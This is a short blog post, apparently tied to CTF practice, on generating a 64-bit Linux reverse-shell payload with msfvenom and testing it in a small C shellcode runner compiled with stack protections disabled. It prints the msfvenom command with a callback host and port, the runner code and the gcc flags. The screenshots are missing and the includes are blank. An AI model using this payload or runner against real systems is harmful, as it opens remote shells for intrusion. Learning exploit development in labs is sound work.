Testing MSFvenom Shellcode

by Vince
in Blog
Hits: 1403

A while back, I wrote about a buffer overflow I discovered while tackling a CTF style box.  It's not a complete guide to buffer overflow but if you have some basic instructions on "how to", you can fill in those gaps that I've left unwritten. 

When I first learned of buffer overflows, I was sort of following along with blind faith, hoping it would all work out in the end.  At a certain point though, the tools we use become more familiar through other use.  For example, MSFVenom will become widely used for more than just generating shellcode for buffer overflows.  You'll go from mindlessly retying the text you see to understanding what you're actually typing.  And then, hopefully, wanting to test what you're doing prior to pointing it at your victim machine.

In the line below, I'm generating Linux shellcode, the architecture is 64 bit, the shellcode will spawn a reverse shell, host and port are pointing back to my box, my format is C code, and I'm excluding the bad characters which could muck up the execution. Like the buffer overflow explanation in the above referenced post, I'm not drilling down completely because a lesson on why null byte, line feed, and carriage return could / will cause problems is an entire post on its own.

Let's just assume, we're past the point of blindly retying lines and were more curious as to the nuts and bolts of the process.  We generate some shellcode:

msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.90.35 LPORT=443 -f c -b "\x00\x0a\x0d"




And now that we have our shellcode, we wonder if it actually works.  Perhaps we'd like to test it in a controlled situation.  We can do this with some C:

#include
#include

unsigned char code[] = "insert shell code here"

main()
{
  printf("Shellcode Length: %d\n", strlen(code));
      int (*ret)() = (int(*)())code;
      ret();

}


If we take our sample above, we can insert our shellcode:




We attempt to compile normally:




But when we attempt to execute our compiled code, we get a segmentation fault.

We need to compile our code removing some protections:

gcc -o exec exec.c -fno-stack-protector -z execstack




We have two parameters:

fno-stack-protector and f-stack-protector :  essentially NO stack protector and stack protector.  In our gcc statement, we're stating no stack protector.

execstack and noexecstack  :  similarly, we have exec stack and NO exec stack.  In our gcc statement, we're stating that we want to execute on the stack.  

When we remove these protections and we execute our binary, we get our shell:




This gives us the ability to generate our shellcode and test it prior to executing it on our victim machine.  This could be handy in certain situations.